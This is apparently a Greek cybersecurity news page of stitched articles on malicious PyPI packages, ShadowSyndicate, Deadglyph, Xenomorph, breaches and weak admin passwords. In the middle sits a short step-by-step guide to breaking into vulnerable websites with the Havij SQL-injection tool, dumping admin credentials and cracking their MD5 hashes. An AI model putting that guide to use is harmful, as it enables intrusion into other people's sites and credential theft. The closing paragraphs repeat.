Στο Discord, εάν είναι ενεργοποιημένες ορισμένες ρυθμίσεις, το κακόβουλο λογισμικό εισάγει κώδικα JavaScript που εκτελείται κατά την επανεκκίνηση του προγράμματος-πελάτη.
Το κακόβουλο λογισμικό χρησιμοποιεί επίσης ένα σενάριο PowerShell σε ένα υπερυψωμένο τερματικό για να χειραγωγήσει τους “κεντρικούς υπολογιστές” των Windows, ώστε τα προϊόντα ασφαλείας που εκτελούνται στην παραβιασμένη συσκευή να μην μπορούν να επικοινωνήσουν με τους διακομιστές τους.
Εξέλιξη της επίθεσης
Σύμφωνα με τους ερευνητές, ο κακόβουλος κώδικας αυτής της εκστρατείας σε πακέτα από τον Απρίλιο ήταν σαφώς ορατός, καθώς ήταν απλό κείμενο.
Τον Μάιο, όμως, οι συγγραφείς των πακέτων άρχισαν να προσθέτουν κρυπτογράφηση για να εμποδίσουν την ανάλυση. Τον Αύγουστο, ο ερευνητής παρατήρησε ότι στα πακέτα είχε προστεθεί συσκότιση πολλαπλών επιπέδων.
Σε μια ξεχωριστή έκθεση του ερευνητή της Checkmarx, Yahuda Gelb, αναφέρθηκε ότι δύο από τα πιο πρόσφατα πακέτα χρησιμοποιούσαν όχι λιγότερα από 70 επίπεδα συσκοτισμού.
Επίσης, τον Αύγουστο, οι προγραμματιστές του κακόβουλου λογισμικού συμπεριέλαβαν τη δυνατότητα απενεργοποίησης των προϊόντων προστασίας από ιούς, πρόσθεσαν το Telegram στη λίστα των στοχευμένων εφαρμογών και εισήγαγαν ένα εφεδρικό σύστημα διαφυγής δεδομένων.
Οι ερευνητές προειδοποιούν ότι οι κοινότητες ανοικτού κώδικα και τα οικοσυστήματα προγραμματιστών εξακολουθούν να είναι ευάλωτα σε επιθέσεις στην αλυσίδα εφοδιασμού και ότι οι φορείς απειλών ανεβάζουν καθημερινά κακόβουλα πακέτα σε ευρέως χρησιμοποιούμενα αποθετήρια και συστήματα ελέγχου εκδόσεων, όπως το GitHub, ή σε μητρώα πακέτων όπως το PyPi και το NPM.
Συνιστάται στους χρήστες να εξετάζουν προσεκτικά τα έργα και τους εκδότες πακέτων που εμπιστεύονται και να επαγρυπνούν σχετικά με τα ονόματα πακέτων που περιέχουν τυπογραφικά λάθη.
Ένας κατάλογος των κακόβουλων πακέτων που χρησιμοποιήθηκαν σε αυτή την εκστρατεία είναι διαθέσιμος εδώ.
Οι ShadowSyndicate χάκερ συνδέονται με πολλαπλές επιθέσεις ransomware
Οι ερευνητές ασφαλείας εντόπισαν υποδομές που ανήκουν σε έναν απειλητικό παράγοντα που τώρα εντοπίζεται ως ShadowSyndicate, ο οποίος πιθανότατα χρησιμοποίησε επτά διαφορετικές οικογένειες ransomware σε επιθέσεις κατά το περασμένο έτος.
Οι αναλυτές της Group-IB που συνεργάζονται με την Bridewell και τον ανεξάρτητο ερευνητή Michael Koczwara αποδίδουν με διάφορους βαθμούς εμπιστοσύνης τη χρήση από το ShadowSyndicate των ransomware Quantum, Nokoyawa, BlackCat/ALPHV, Clop, Royal, Cactus και Play σε πολλαπλές παραβιάσεις που παρατηρήθηκαν από τον Ιούλιο του 2022.
Με βάση τα ευρήματά τους, οι ερευνητές πιστεύουν ότι ο δράστης της απειλής θα μπορούσε να είναι ένας αρχικός διαμεσολαβητής πρόσβασης (IAB), αν και τα στοιχεία δείχνουν ότι το ShadowSyndicate είναι συνεργάτης σε πολλαπλές επιχειρήσεις ransomware.
Οι ερευνητές βασίζουν τα συμπεράσματά τους σε ένα ξεχωριστό δακτυλικό αποτύπωμα SSH που ανακάλυψαν σε 85 διακομιστές IP, οι περισσότεροι από τους οποίους χαρακτηρίζονται ως μηχανές εντολών και ελέγχου Cobalt Strike.
Οι αναλυτές είδαν για πρώτη φορά το fingerprint στις 16 Ιουλίου 2022 και εξακολουθούσε να χρησιμοποιείται τον Αύγουστο του 2023.
ShadowSyndicate arsenal
Η ομάδα ερευνητών βασίστηκε σε διάφορα εργαλεία για την έρευνά της, τα οποία περιλάμβαναν μηχανές εντοπισμού όπως οι Shodan και Censys, μαζί με διάφορες τεχνικές OSINT. Αυτό τους επέτρεψε να ανακαλύψουν ένα εκτεταμένο αποτύπωμα δραστηριότητας του ShadowSyndicate.
Εξετάζοντας τους διακομιστές ShadowSyndicate που εντοπίστηκαν με βάση το αποτύπωμα SSH, οι ερευνητές “έπεσαν πάνω σε οκτώ διαφορετικά υδατογραφήματα [κλειδιά άδειας χρήσης] της Cobalt Strike”.
Οι οκτώ διακομιστές Cobalt Strike επικοινωνούσαν με τα ransomware Cactus, Royal, Quantum, Nokoyawa, Play, Clop και BlackCat/ALPHV που αναπτύχθηκαν σε διάφορα δίκτυα θυμάτων.
Οι ερευνητές ανακάλυψαν επίσης διαμορφώσεις του Cobalt Strike που αναπτύχθηκαν σε δύο διακομιστές, αλλά μόνο ο ένας από αυτούς σε ένα μηχάνημα που διέθετε το αποτύπωμα SSH του ShadowSyndicate.
Σε ορισμένες επιθέσεις, το ShadowSyndicate χρησιμοποίησε το εργαλείο διείσδυσης Sliver, το οποίο θεωρούνταν προηγουμένως ως πιθανός αντικαταστάτης του Cobalt Strike.
Άλλα εργαλεία που παρατηρήθηκαν σε επιθέσεις του ShadowSyndicate περιλαμβάνουν τον φορτωτή κακόβουλου λογισμικού IcedID, τον φορτωτή MaaS Matanbuchus και το ωφέλιμο φορτίο Meterpreter Metasploit.
Ανάλυση server
Οι αναλυτές εξέτασαν την υπόθεση ότι και οι 85 διακομιστές με το ίδιο δακτυλικό αποτύπωμα κλειδιού SSH που συνδέονται με το ShadowSyndicate συνδέονται με έναν ενιαίο πάροχο φιλοξενίας, αλλά βρήκαν 18 διαφορετικούς ιδιοκτήτες, 22 διαφορετικά ονόματα δικτύου και 13 διαφορετικές τοποθεσίες.
Η ανάλυση των παραμέτρων του Cobalt Strike C2, όπως η ημερομηνία ανίχνευσης, τα υδατογραφήματα ή οι ρυθμίσεις του χρόνου αναστολής λειτουργίας, βοήθησε στην παραγωγή αποδεικτικών στοιχείων υψηλής αξιοπιστίας που συνδέουν το ShadowSyndicate με τα ransomware Quantum, Nokoyawa και ALPHV/BlackCat.
Συγκεκριμένα, οι αναλυτές συνέδεσαν τους διακομιστές με μια επίθεση Quantum από τον Σεπτέμβριο του 2022, τρεις επιθέσεις Nokoyawa από το τέταρτο τρίμηνο του 2022 και τον Απρίλιο του 2023 και μια επίθεση ALPHV από τον Φεβρουάριο του 2023.
Η Group-IB και τα προαναφερθέντα συνεργαζόμενα μέρη βρήκαν πρόσθετα στοιχεία που συνδέουν το ShadowSyndicate με λιγότερη εμπιστοσύνη με τις επιχειρήσεις κακόβουλου λογισμικού Ryuk, Conti, Trickbot, Royal, Clop και Play.
Ειδικά για το Clop, η έκθεση της Group-IB αναφέρει ότι τουλάχιστον 12 διευθύνσεις IP που προηγουμένως συνδέονταν με τους διαβόητους χειριστές ransomware μεταφέρθηκαν στο ShadowSyndicate από τον Αύγουστο του 2022 και τώρα χρησιμοποιούνται για το Cobalt Strike.
Παρά τα πολλά ευρήματα που υποδηλώνουν μια πιθανή σύνδεση, μια άμεση σύνδεση υψηλής εμπιστοσύνης μεταξύ του ShadowSyndicate και του Clop παραμένει ασύλληπτη.
Οι εμπειρογνώμονες πληροφοριών της Group-IB καταλήγουν στο συμπέρασμα ότι η ShadowSyndicate είναι πιθανότατα μια θυγατρική εταιρεία που συνεργάζεται με διάφορες επιχειρήσεις ransomware-as-a-service (RaaS). Ωστόσο, απαιτούνται πρόσθετα στοιχεία για να υποστηριχθεί αυτή η θεωρία.
Παρ’ όλα αυτά, το έργο αυτό είναι ζωτικής σημασίας για τον εντοπισμό και την καταπολέμηση του εγκλήματος στον κυβερνοχώρο και, με αυτό το πνεύμα, η εταιρεία κυβερνοκατασκοπείας καλεί εξωτερικούς ερευνητές να συνεργαστούν ανοιχτά μαζί της και να βοηθήσουν στην αποκάλυψη των υπόλοιπων ασαφών τμημάτων.
Για λεπτομέρειες που θα μπορούσαν να βοηθήσουν τους αμυντικούς να εντοπίσουν και να αποδώσουν τη δραστηριότητα του ShadowSyndicate, η Group-IB δημοσίευσε σήμερα μια έκθεση με τεχνικά δεδομένα από την έρευνά της.
Πώς να χακάρετε μια σελίδα με το Havij (script kiddie)
Πάμε να δούμε πως θα εκμεταλλευτούμε μια ευπάθεια sql injection με τη χρήση του Havij
1)Πρέπει να έχουμε βρει μια ευπαθής (vulnerability) ιστοσελίδα.
2)Βάζουμε το url στο Havij και πατάμε Analyze
Όπως βλέπετε απο κάτω το status γραφεί Analyze target.
Περιμείνουμε μεχρι να τελειώσει το Analyze
Βρίσκουμε τα Tables
Θα δείτε ότι μας έβγαλε κάποια Tables
Βρισκουμε τα Columns Απο τα tables που μας εβγαλε κοιτάμε να υπάρχει κάποιο με όνομα: “admin,users,members.”αυτα ειναι τα πιο γνωστά. Αμα βλέπετε κάποιο απο αυτα κάνετε ένα click πιάνω του και μετα πατήστε Get Columns
Και έτσι πήραμε τα Columns!!
Στα Columns θα βρείτε Username και Password κάντε ενα click πιάνω τους και μετα πατήστε Get Data
Μολις πηρατε το Username και το Password
Το Password συνηθως ειναι σε μορφη Hash
Για να το σπασετε πηγαινετε στην επιλογη MD5 που υπαρχει στο προγραμμα και καντε επικολληση το Hash μεσα στο κουτακι που εχει και πατηστε Start.
Το μόνο που μας έμεινε ειναι να βρούμε απο που κανει ο Admin login. Πηγαίνουμε στην επιλογή Find Admin βαζουμε την σελίδα μας στο κουτάκι που εχει και πατάμε Start..
Η Insomniac Games στο Στόχαστρο του Ransomware Rhysida
Η Insomniac κερδίζει τις εντυπώσεις με δύο βραβευμένα παιχνίδια, το Spider-Man, ενώ παράλληλα ετοιμάζεται για τον επερχόμενο τίτλο που βασίζεται στο Marvel’s Wolverine.
Ωστόσο, πρόσφατες εξελίξεις αναδεικνύουν πιθανά αρκετά ενδιαφέροντα στοιχεία σχετικά με το παιχνίδι Wolverine. Υπάρχει η πιθανότητα ορισμένες λεπτομέρειες να έχουν διαρρεύσει λόγω ενός hack, καθώς εντοπίστηκε ένα σχολιασμένο στιγμιότυπο οθόνης από το παιχνίδι στα δεδομένα απόδειξης της συμμορίας. Παρατηρούνται επίσης εικονογραφήσεις χαρακτήρων που φαίνεται να συνδέονται με άλλους ήρωες της Marvel, οι οποίοι ενδέχεται να κάνουν εμφάνιση στο παιχνίδι.
Πέραν τούτου, οι σαρώσεις αποκαλύπτουν διαβατήρια που φέρουν το όνομα πρώην ή τρέχοντος προσωπικού της Insomniac, συμπεριλαμβανομένου ενός πρώην μέλους που νυν εργάζεται στη Disney, έπειτα από απόλυσή πριν από δύο μήνες. Επίσης, ένα άλλο έγγραφο φαίνεται να ανήκει στον ηθοποιό που υποδύθηκε τον Peter Parker, γνωστό ως Spider-Man, στην πρόσφατη έκδοση του παιχνιδιού, με τον Yuri Lowenthal.
Εκτός από αυτά, τα έγγραφα που παρουσιάζονται ως αποδεικτικό υλικό για την παραβίαση περιλαμβάνουν εσωτερικά emails και υπογεγραμμένα εμπιστευτικά έγγραφα.
Deadglyph – Νέο κακόβουλο λογισμικό που χρησιμοποιείται σε κυβερνητικές επιθέσεις
Ένα νέο και εξελιγμένο κακόβουλο λογισμικό backdoor με την ονομασία “Deadglyph” χρησιμοποιήθηκε σε μια επίθεση κυβερνοκατασκοπείας εναντίον μιας κυβερνητικής υπηρεσίας στη Μέση Ανατολή.
Το κακόβουλο λογισμικό Deadglyph αποδίδεται στην APT Stealth Falcon (ή αλλιώς Project Raven ή FruityArmor), μια κρατικά χρηματοδοτούμενη ομάδα χάκερ από τα Ηνωμένα Αραβικά Εμιράτα (ΗΑΕ).
Η ομάδα hacking είναι γνωστή για τη στοχοποίηση ακτιβιστών, δημοσιογράφων και αντιφρονούντων εδώ και σχεδόν μια δεκαετία.
Σε μια νέα έκθεση που δημοσιεύθηκε στο συνέδριο κυβερνοασφάλειας LABScon, ο ερευνητής της ESET Filip Jurčacko μοιράζεται ανάλυση του νέου αρθρωτού κακόβουλου λογισμικού και του τρόπου με τον οποίο μολύνει συσκευές Windows.
Επιθέσεις Deadglyph
Η ESET δεν έχει εικόνα για τα μέσα της αρχικής μόλυνσης, αλλά υπάρχει η υποψία ότι χρησιμοποιείται ένα κακόβουλο εκτελέσιμο αρχείο, πιθανώς ένα πρόγραμμα εγκατάστασης.
Ωστόσο, η ESET απέκτησε τα περισσότερα από τα συστατικά της αλυσίδας μόλυνσης για να σχηματίσει μια εικόνα του τρόπου με τον οποίο το κακόβουλο λογισμικό λειτουργεί και προσπαθεί να αποφύγει την ανίχνευση.
Η αλυσίδα φόρτωσης του Deadglyph ξεκινά με έναν φορτωτή shellcode του μητρώου (DLL) που εξάγει κώδικα από το μητρώο των Windows για να φορτώσει το συστατικό Executor (x64), το οποίο με τη σειρά του φορτώνει το συστατικό Orchestrator (.NET).
Μόνο το αρχικό συστατικό υπάρχει στο δίσκο του μολυσμένου συστήματος ως αρχείο DLL, ελαχιστοποιώντας την πιθανότητα εντοπισμού.
Η ESET αναφέρει ότι ο φορτωτής θα φορτώσει τον shellcode από το μητρώο των Windows, το οποίο είναι κρυπτογραφημένο για να κάνει την ανάλυση πιο δύσκολη.
Καθώς το συστατικό DLL αποθηκεύεται στο σύστημα αρχείων, είναι πιο πιθανό να εντοπιστεί. Εξαιτίας αυτού, οι απειλητικοί φορείς χρησιμοποίησαν μια ομογλυφική επίθεση στον πόρο VERSIONINFO χρησιμοποιώντας διακριτούς ελληνικούς και κυριλλικούς χαρακτήρες Unicode για να μιμηθούν τις πληροφορίες της Microsoft και να εμφανιστούν ως νόμιμο αρχείο των Windows.
Το στοιχείο Executor φορτώνει κρυπτογραφημένες με AES διαμορφώσεις για την κερκόπορτα, αρχικοποιεί το .NET runtime στο σύστημα, φορτώνει το .NET τμήμα της κερκόπορτας και ενεργεί ως βιβλιοθήκη της.
Τέλος, το Orchestrator είναι υπεύθυνο για τις επικοινωνίες του διακομιστή εντολών και ελέγχου (C2), χρησιμοποιώντας δύο ενότητες για την εργασία αυτή, το ‘Timer’ και το ‘Network’.
Εάν η κερκόπορτα δεν καταφέρει να δημιουργήσει επικοινωνία με τον διακομιστή C2 μετά από ένα καθορισμένο χρονικό διάστημα, ενεργοποιεί έναν μηχανισμό αυτοαφαίρεσης για να αποτρέψει την ανάλυσή της από ερευνητές και ειδικούς σε θέματα κυβερνοασφάλειας.
Αρθρωτό κακόβουλο λογισμικό
Το κακόβουλο λογισμικό Deadglyph είναι αρθρωτό, δηλαδή θα κατεβάζει νέες ενότητες από το C2 που περιέχουν διαφορετικούς κωδικούς κελύφους για να εκτελεστούν από το στοιχείο Executor.
Η χρήση μιας σπονδυλωτής προσέγγισης επιτρέπει στους φορείς απειλών να δημιουργούν νέες ενότητες ανάλογα με τις ανάγκες για να προσαρμόζουν τις επιθέσεις, οι οποίες μπορούν στη συνέχεια να προωθηθούν στα θύματα για να εκτελέσουν πρόσθετες κακόβουλες λειτουργίες.
Αυτές οι ενότητες έχουν στη διάθεσή τους τα Windows και τα προσαρμοσμένα API του Executor, με το τελευταίο να προσφέρει 39 λειτουργίες που καθιστούν δυνατή την εκτέλεση λειτουργιών αρχείων, τη φόρτωση εκτελέσιμων αρχείων, την πρόσβαση σε Token Impersonation και την εκτέλεση κρυπτογράφησης και κατακερματισμού.
Η ESET πιστεύει ότι υπάρχουν εννέα έως δεκατέσσερις διαφορετικές ενότητες, αλλά μπόρεσε να αποκτήσει μόνο τρεις: έναν δημιουργό διεργασιών, έναν συλλέκτη πληροφοριών και έναν αναγνώστη αρχείων.
Ο συλλέκτης πληροφοριών χρησιμοποιεί ερωτήματα WMI για να τροφοδοτήσει τον Orchestrator με τις ακόλουθες πληροφορίες σχετικά με το παραβιασμένο σύστημα:
operating system
network adapters
installed software
drives
services
drivers
processes
users
environment variables
security software
Ο δημιουργός διεργασιών είναι ένα εργαλείο εκτέλεσης εντολών που εκτελεί καθορισμένες εντολές ως νέα διεργασία και δίνει το αποτέλεσμα στον Orchestrator.
Η μονάδα ανάγνωσης αρχείων διαβάζει το περιεχόμενο των αρχείων και το παραδίδει στον Orchestrator, ενώ δίνει επίσης στους χειριστές τη δυνατότητα να διαγράψουν το αρχείο μετά την ανάγνωση.
Παρόλο που η ESET κατάφερε να αποκαλύψει μόνο ένα μέρος των δυνατοτήτων του κακόβουλου λογισμικού, είναι σαφές ότι το Deadglyph του Stealth Falcon είναι μια τρομερή απειλή.
Χωρίς λεπτομερείς πληροφορίες σχετικά με την αρχική μόλυνση, η προσφορά συγκεκριμένων στρατηγικών άμυνας κατά του κακόβουλου λογισμικού είναι αδύνατη.
Προς το παρόν, οι αμυντικοί μπορούν να βασίζονται στις υπάρχουσες IoC που δημοσιεύονται στην έκθεση.
Το Xenomorph Android στοχεύει αμερικανικές τράπεζες και crypto wallets
Ερευνητές ασφαλείας ανακάλυψαν μια νέα εκστρατεία που διανέμει μια νέα έκδοση του κακόβουλου λογισμικού Xenomorph σε χρήστες Android στις Ηνωμένες Πολιτείες, τον Καναδά, την Ισπανία, την Ιταλία, την Πορτογαλία και το Βέλγιο.
Οι αναλυτές της εταιρείας κυβερνοασφάλειας ThreatFabric παρακολουθούν τη δραστηριότητα του Xenomorph από τον Φεβρουάριο του 2022 και σημειώνουν ότι η νέα εκστρατεία ξεκίνησε στα μέσα Αυγούστου.
Η τελευταία έκδοση του Xenomorph στοχεύει χρήστες πορτοφολιών κρυπτονομισμάτων και διάφορα χρηματοπιστωτικά ιδρύματα των ΗΠΑ.
Ιστορικό του Xenomorph
Το Xenomorph εμφανίστηκε για πρώτη φορά στη φύση στις αρχές του 2022, λειτουργώντας ως τραπεζικό trojan που στόχευε 56 ευρωπαϊκές τράπεζες μέσω του screen overlay phishing. Διανεμήθηκε μέσω του Google Play, όπου μέτρησε πάνω από 50.000 εγκαταστάσεις.
Οι δημιουργοί του, η “Hadoken Security”, συνέχισαν την ανάπτυξή του και τον Ιούνιο του 2022 κυκλοφόρησαν μια ξαναγραμμένη έκδοση που έκανε το κακόβουλο λογισμικό αρθρωτό και πιο ευέλικτο.
Μέχρι τότε, το Xenomorph βρισκόταν στην πρώτη δεκάδα των πιο διαδεδομένων τραπεζικών trojans της Zimperium, οπότε είχε ήδη αποκτήσει το καθεστώς “μεγάλης απειλής”.
Τον Αύγουστο του 2022, το ThreatFabric ανέφερε ότι το Xenomorph διανέμεται μέσω ενός νέου dropper με την ονομασία “BugDrop”, ο οποίος παρακάμπτει τα χαρακτηριστικά ασφαλείας του Android 13.
Τον Δεκέμβριο του 2022, οι ίδιοι αναλυτές ανέφεραν για μια νέα πλατφόρμα διανομής κακόβουλου λογισμικού με την ονομασία “Zombinder”, η οποία ενσωμάτωσε την απειλή στο αρχείο APK νόμιμων εφαρμογών Android.
Πιο πρόσφατα, τον Μάρτιο του 2023, η Hadoken κυκλοφόρησε την τρίτη μεγάλη έκδοση του Xenomorph, η οποία διαθέτει ένα σύστημα αυτόματης μεταφοράς (ATS) για αυτόνομες συναλλαγές στη συσκευή, παράκαμψη MFA, κλοπή cookies και τη δυνατότητα να στοχεύει πάνω από 400 τράπεζες.
Νέα καμπάνια
Στην τελευταία εκστρατεία, οι διαχειριστές του κακόβουλου λογισμικού επέλεξαν να χρησιμοποιήσουν σελίδες phishing, παρασύροντας τους επισκέπτες να ενημερώσουν το πρόγραμμα περιήγησης Chrome και εξαπατώντας τους να κατεβάσουν το κακόβουλο APK.
Το κακόβουλο λογισμικό συνεχίζει να χρησιμοποιεί επικαλύψεις για την κλοπή πληροφοριών. Ωστόσο, έχει πλέον επεκτείνει το πεδίο στόχευσής του και περιλαμβάνει χρηματοπιστωτικά ιδρύματα από τις Ηνωμένες Πολιτείες και πολλαπλές εφαρμογές κρυπτονομισμάτων.
Η ThreatFabric εξηγεί ότι κάθε δείγμα Xenomorph είναι φορτωμένο με περίπου εκατό επικαλύψεις που στοχεύουν διαφορετικά σύνολα τραπεζών και εφαρμογών κρυπτογράφησης, ανάλογα με τη στοχευόμενη δημογραφική ομάδα.
Πιο πρόσφατη έκδοση
Παρόλο που τα νέα δείγματα του Xenomorph δεν διαφέρουν σημαντικά από τις προηγούμενες παραλλαγές, διαθέτουν ορισμένα νέα χαρακτηριστικά που υποδεικνύουν ότι οι δημιουργοί του συνεχίζουν να βελτιώνουν και να βελτιώνουν το κακόβουλο λογισμικό.
Πρώτον, ένα νέο χαρακτηριστικό “μίμησης” μπορεί να ενεργοποιηθεί με μια αντίστοιχη εντολή, δίνοντας στο κακόβουλο λογισμικό τη δυνατότητα να ενεργεί ως άλλη εφαρμογή.
Επιπλέον, το mimic διαθέτει μια ενσωματωμένη δραστηριότητα με το όνομα IDLEActivity, η οποία λειτουργεί ως WebView για την εμφάνιση νόμιμου περιεχομένου ιστού από το πλαίσιο μιας αξιόπιστης διεργασίας.
Αυτό το σύστημα αντικαθιστά την ανάγκη απόκρυψης εικονιδίων από τον εκκινητή εφαρμογών μετά την εγκατάσταση, η οποία επισημαίνεται ως ύποπτη συμπεριφορά από τα περισσότερα εργαλεία ασφαλείας για κινητά τηλέφωνα.
Ένα άλλο νέο χαρακτηριστικό είναι το “ClickOnPoint”, το οποίο επιτρέπει στους χειριστές του Xenomorph να προσομοιώνουν πατήματα σε συγκεκριμένες συντεταγμένες της οθόνης.
Αυτό επιτρέπει στους χειριστές να περνούν από τις οθόνες επιβεβαίωσης ή να εκτελούν άλλες απλές ενέργειες χωρίς να χρησιμοποιούν την πλήρη μονάδα ATS, η οποία μπορεί να προκαλέσει προειδοποιήσεις ασφαλείας.
Τέλος, υπάρχει ένα νέο σύστημα “antisleep” που εμποδίζει τη συσκευή να απενεργοποιήσει την οθόνη της μέσω μιας ενεργής ειδοποίησης.
Αυτό είναι χρήσιμο για την παράταση της εμπλοκής και την αποφυγή διακοπών που απαιτούν την αποκατάσταση των επικοινωνιών διοίκησης και ελέγχου.
Άλλα ευρήματα
Εκμεταλλευόμενοι τα αδύναμα μέτρα ασφαλείας του χειριστή του κακόβουλου λογισμικού, οι αναλυτές του ThreatFabric είχαν πρόσβαση στην υποδομή φιλοξενίας του ωφέλιμου φορτίου.
Εκεί, ανακάλυψαν πρόσθετα κακόβουλα ωφέλιμα φορτία, συμπεριλαμβανομένων των παραλλαγών κακόβουλου λογισμικού Android Medusa και Cabassous, των Windows information stealers RisePro και LummaC2 και του φορτωτή κακόβουλου λογισμικού Private Loader.
Οι χρήστες θα πρέπει να είναι προσεκτικοί με τις προτροπές στα κινητά για ενημέρωση των προγραμμάτων περιήγησής τους, καθώς αυτές είναι πιθανό να αποτελούν μέρος εκστρατειών διανομής κακόβουλου λογισμικού.
Η διανομή του Xenomorph μαζί με ισχυρό κακόβουλο λογισμικό των Windows υποδηλώνει συνεργασία μεταξύ φορέων απειλών ή την πιθανότητα το trojan Android να πωλείται ως Malware-as-a-Service (MaaS).
Παραβίαση Δεδομένων στην Americold: Χιλιάδες Εργαζόμενοι Επηρεάζονται
Η Americold, ο γίγαντας αποθήκευσης και παροχής πάγου, επιβεβαίωσε ότι περισσότεροι από 129.000 υπάλληλοι και οι συγγενείς τους υπέστησαν παραβίαση των προσωπικών τους δεδομένων κατά τη διάρκεια μιας επίθεσης τον Απρίλιο. Η επίθεση αποδίδεται σε κακόβουλο λογισμικό Cactus ransomware.
Η Americold, που απασχολεί 17.000 άτομα παγκοσμίως και διαχειρίζεται περισσότερες από 24 αποθήκες με ελεγχόμενη θερμοκρασία σε όλη τη Βόρεια Αμερική, την Ευρώπη, την Ασία-Ειρηνικό και τη Νότια Αμερική, έπρεπε να αντιμετωπίσει τις συνέπειες της παραβίασης του δικτύου της.
Η επίθεση οδήγησε σε διακοπή που επηρέασε τις λειτουργίες της εταιρείας, αναγκάζοντάς τη να κλείσει το IT δίκτυό της προκειμένου να περιορίσει την παραβίαση και να ανακτήσει τα επηρεαζόμενα συστήματα.
Πάνω από 40.000 λογαριασμοί διαχείρισης χρησιμοποιούν τον κωδικό πρόσβασης “admin”.
Οι ερευνητές ασφαλείας διαπίστωσαν ότι οι διαχειριστές πληροφορικής χρησιμοποιούν δεκάδες χιλιάδες αδύναμους κωδικούς πρόσβασης για την προστασία της πρόσβασης στις πύλες, αφήνοντας την πόρτα ανοιχτή σε κυβερνοεπιθέσεις στα δίκτυα των επιχειρήσεων.
Από τα περισσότερα από 1,8 εκατομμύρια διαπιστευτήρια διαχειριστών που αναλύθηκαν, πάνω από 40.000 καταχωρήσεις ήταν “admin”, γεγονός που δείχνει ότι ο προεπιλεγμένος κωδικός πρόσβασης είναι ευρέως αποδεκτός από τους διαχειριστές πληροφορικής.
Προεπιλεγμένοι και αδύναμοι κωδικοί πρόσβασης
Τα δεδομένα ελέγχου ταυτότητας συλλέχθηκαν μεταξύ Ιανουαρίου και Σεπτεμβρίου του τρέχοντος έτους μέσω του Threat Compass, μιας λύσης πληροφοριών απειλών της εταιρείας κυβερνοασφάλειας Outpost24.
Η Outpost24 αναφέρει ότι τα διαπιστευτήρια ελέγχου ταυτότητας προέρχονται από κακόβουλο λογισμικό κλοπής πληροφοριών, το οποίο συνήθως στοχεύει εφαρμογές που αποθηκεύουν ονόματα χρηστών και κωδικούς πρόσβασης.
Παρόλο που τα δεδομένα που συλλέχθηκαν δεν ήταν σε απλό κείμενο, οι ερευνητές λένε ότι “οι περισσότεροι από τους κωδικούς πρόσβασης στη λίστα μας θα μπορούσαν εύκολα να έχουν μαντέψει σε μια μάλλον μη εξελιγμένη επίθεση μαντείας κωδικών πρόσβασης”.
Ανάλογα με το σκοπό της, μια πύλη διαχειριστή μπορεί να παρέχει πρόσβαση σχετικά με τη διαμόρφωση, τους λογαριασμούς και τις ρυθμίσεις ασφαλείας. Θα μπορούσε επίσης να επιτρέπει την παρακολούθηση πελατών και παραγγελιών ή να παρέχει ένα μέσο για λειτουργίες δημιουργίας, ανάγνωσης, ενημέρωσης, διαγραφής (CRUD) για βάσεις δεδομένων.
Μετά την ανάλυση της συλλογής διαπιστευτηρίων ελέγχου ταυτότητας για πύλες διαχείρισης, η Outpost24 δημιούργησε μια λίστα με τα 20 πιο αδύναμα διαπιστευτήρια ελέγχου ταυτότητας:
01.
admin
11.
demo
02.
123456
12.
root
03.
12345678
13.
123123
04.
1234
14.
admin@123
05.
Password
15.
123456aA@
06.
123
16.
01031974
07.
12345
17.
Admin@123
08.
admin123
18.
111111
09.
123456789
19.
admin1234
10.
adminisp
20.
admin1
Οι ερευνητές προειδοποιούν ότι αν και οι παραπάνω καταχωρήσεις “περιορίζονται σε γνωστούς και προβλέψιμους κωδικούς πρόσβασης”, σχετίζονται με πύλες διαχείρισης και οι φορείς απειλών στοχεύουν σε προνομιούχους χρήστες.
Η υπεράσπιση του εταιρικού δικτύου ξεκινά με την εφαρμογή βασικών αρχών ασφαλείας, όπως η χρήση μεγάλων, ισχυρών και μοναδικών κωδικών πρόσβασης για κάθε λογαριασμό, ειδικά για τους χρήστες με πρόσβαση σε ευαίσθητους πόρους.
Για να είστε ασφαλείς από κακόβουλο λογισμικό που κλέβει πληροφορίες, η Outpost24 συνιστά τη χρήση μιας λύσης απόκρισης τελικού σημείου και ανίχνευσης, την απενεργοποίηση των επιλογών αποθήκευσης κωδικού πρόσβασης και αυτόματης συμπλήρωσης στα προγράμματα περιήγησης στο διαδίκτυο, τον έλεγχο των τομέων όταν γίνεται ανακατεύθυνση και την απομάκρυνση από σπασμένο λογισμικό.
Οι ερευνητές προειδοποιούν ότι αν και οι παραπάνω καταχωρήσεις “περιορίζονται σε γνωστούς και προβλέψιμους κωδικούς πρόσβασης”, σχετίζονται με πύλες διαχείρισης και οι φορείς απειλών στοχεύουν σε προνομιούχους χρήστες.
Η υπεράσπιση του εταιρικού δικτύου ξεκινά με την εφαρμογή βασικών αρχών ασφαλείας, όπως η χρήση μεγάλων, ισχυρών και μοναδικών κωδικών πρόσβασης για κάθε λογαριασμό, ειδικά για τους χρήστες με πρόσβαση σε ευαίσθητους πόρους.
Για να είστε ασφαλείς από κακόβουλο λογισμικό που κλέβει πληροφορίες, η Outpost24 συνιστά τη χρήση μιας λύσης απόκρισης τελικού σημείου και ανίχνευσης, την απενεργοποίηση των επιλογών αποθήκευσης κωδικού πρόσβασης και αυτόματης συμπλήρωσης στα προγράμματα περιήγησης στο διαδίκτυο, τον έλεγχο των τομέων όταν γίνεται ανακατεύθυνση και την απομάκρυνση από σπασμένο λογισμικό.